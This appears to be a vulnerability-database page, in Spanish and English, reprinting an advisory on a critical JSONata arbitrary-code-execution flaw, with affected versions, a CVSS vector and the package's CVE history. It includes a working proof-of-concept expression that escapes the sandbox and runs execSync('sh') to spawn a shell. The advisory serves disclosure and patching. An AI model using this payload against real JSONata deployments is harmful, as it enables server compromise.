Crítica

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

Publicada: 21.08.2026
Actualizado: 11.10.2026 10:22

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to:

overwriting $clone allowing mutation of objects via transforms (see evaluateTransformExpression)
it being possible to destruct jsonata functions/lambdas (e.g. $merge.*)
applyProcedure using proc.arguments.forEach and not Array.prototype.forEach

Which could be chained to execute arbitrary code.

This was fixed with:

Which are included in the 2.2.1 release. Fixes were then back-ported to the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
    $obj := {};
    $clone := function($o) { $o };
    $m := ($merge.*)[1];

    $fn := function($a) {
        (
            $a({"value":"lg"},"__lookupGetter__");
            $a({"value":"x"},"x");
        )
    };

    $nop := function() { $ };

    $capture := function($val) {
        $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} |
    };

    $ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|;
    $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|;
    $ ~> | $ | {"body":$m([$capture,{"_jsonata_lambda":false}]).body}|;
    $func := $m([$,{"_jsonata_lambda":true}]);
    $func();

    $gP := $obj.lg("__proto__");

    $afn:=$spread($fn);
    $afn{"x":$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()};
)
`);

await expression.evaluate({});

References

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

Plataforma	Paquete	Versiones vulnerables	Corregida en
Paquete de npm	jsonata	>= 2.0.0, < 2.2.1, < 1.8.8	2.2.1, 1.8.8

Referencias

Puntuación CVSS -

Vector CVSS: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Debilidad (CWE): CWE-94
Plataforma: npm
Paquete: jsonata
Publicada: 21.08.2026
Actualizado: 11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-66mm-25pp-rfff - CC BY 4.0

Historial de vulnerabilidades: jsonata

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total: 6
Primera → última: 03.2024 08.2026
Sin corrección: 0
Explotada en ataques: 0

Distribución por gravedad

Crítica 4
Alta 1
Media 1

Divulgaciones por año

2024: 1
2025: 0
2026: 5

21.08.2026

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions esta entrada

Crítica CVE-2026-77415 >= 2.0.0, < 2.2.1, < 1.8.8 2.2.1, 1.8.8
21.08.2026

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

Crítica CVE-2026-77414 >= 2.0.0, < 2.2.1, < 1.8.8 2.2.1, 1.8.8
21.08.2026

JSONata: Arbitrary Code Execution via crafted JSONata expressions

Crítica CVE-2026-77413 < 1.8.8, >= 2.0.0, < 2.2.0 1.8.8, 2.2.0
02.07.2026

jsonata: Malicious inputs to "$toMillis" function can cause resource exhaustion

Alta · 7.5 CVE-2026-52746 >= 2.0.0, < 2.2.0, < 1.8.9 2.2.0, 1.8.9
15.06.2026

jsonata: Function Binding Prototype Pollution via hasOwnProperty Override

Media · 5.3 CVE-2026-12208 < 1.8.8, >= 2.0.0, < 2.2.1 1.8.8, 2.2.1
04.03.2024

JSONata expression can pollute the "Object" prototype

Crítica · 9.8 CVE-2024-27307 >= 1.4.0, < 1.8.7, >= 2.0.0, < 2.0.4 1.8.7, 2.0.4

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación